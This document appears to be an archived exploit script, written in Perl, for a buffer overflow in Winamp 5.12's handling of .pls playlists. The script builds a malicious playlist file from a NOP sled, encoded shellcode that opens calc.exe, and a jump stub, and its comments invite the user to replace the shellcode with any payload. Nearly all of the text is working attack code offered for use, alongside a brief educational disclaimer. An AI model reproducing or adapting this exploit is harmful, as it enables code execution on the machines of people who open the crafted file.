Winamp 5.12 - '.pls' Remote Buffer Overflow (Perl) (2)

#!/usr/bin/perl -w
# ===============================================================================================
#                Winamp 5.12 Playlist UNC Path Computer Name Overflow Perl Exploit
#                               By Umesh Wanve ([email protected])
# ===========================================================================================================================
# Credits : ATmaCA is credited with the discovery of this vulnerability.
#
# Date : 07-03-2007
#
# Tested on Windows 2000 SP4 Server English
#           Windows 2000 SP4 Professional English
#
# You can replace shellcode with your favourite one :)
#
#
# Buffer = "\x90 x 1023"      +  EIP
#
# Desc: you cant put shellcode after EIP. No more space after this. The winamp simply crashes.  When you debug it, you will see that
#   shellcode is 304 bytes away from ESP. So jump to esp + 304 should work. Find such address if u can.
#
#
# This was written for educational purpose. Use it at your own risk.Author will be not be responsible for any damage.
#
#
#============================================================================================================================

#jump to shellcode
$jmp="\x61\xD9\x02\x02".
	"\x83\xEC\x34".
	"\x83\xEC\x70".
	"\xFF\xE4";


#\x83\xEC\x34  add esp ,34
#\xFF\xE4  jump esp

$nop="\x90" x 856;

$start= "[playlist]\r\nFile1=\\\\";
$end="\r\nTitle1=Winamp Exploit by Umesh\r\nLength1=512\r\nNumberOfEntries=1\r\nVersion=2\r\n";

#open calc.exe
$shellcode =
      "\x54\x50\x53\x50\x29\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x02".
      "\xdd\x0e\x4d\x83\xee\xfc\xe2\xf4\xfe\x35\x4a\x4d\x02\xdd\x85\x08\x3e\x56\x72\x48".
	"\x7a\xdc\xe1\xc6\x4d\xc5\x85\x12\x22\xdc\xe5\x04\x89\xe9\x85\x4c\xec\xec\xce\xd4".
	"\xae\x59\xce\x39\x05\x1c\xc4\x40\x03\x1f\xe5\xb9\x39\x89\x2a\x49\x77\x38\x85\x12".
	"\x26\xdc\xe5\x2b\x89\xd1\x45\xc6\x5d\xc1\x0f\xa6\x89\xc1\x85\x4c\xe9\x54\x52\x69".
      "\x06\x1e\x3f\x8d\x66\x56\x4e\x7d\x87\x1d\x76\x41\x89\x9d\x02\xc6\x72\xc1\xa3\xc6".
	"\x6a\xd5\xe5\x44\x89\x5d\xbe\x4d\x02\xdd\x85\x25\x3e\x82\x3f\xbb\x62\x8b\x87\xb5".
	"\x81\x1d\x75\x1d\x6a\xa3\xd6\xaf\x71\xb5\x96\xb3\x88\xd3\x59\xb2\xe5\xbe\x6f\x21".
	"\x61\xdd\x0e\x4d";


open (MYFILE, '>>poc.pls');

print MYFILE $start;

print MYFILE $nop;            #856

print MYFILE $shellcode;      #165

print MYFILE "\xCC\xCC";      #2 bytes

print MYFILE $jmp;            # EIP

print MYFILE "\x90\x90\x90\x90";

print MYFILE $end;


close (MYFILE);


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# milw0rm.com [2007-03-07]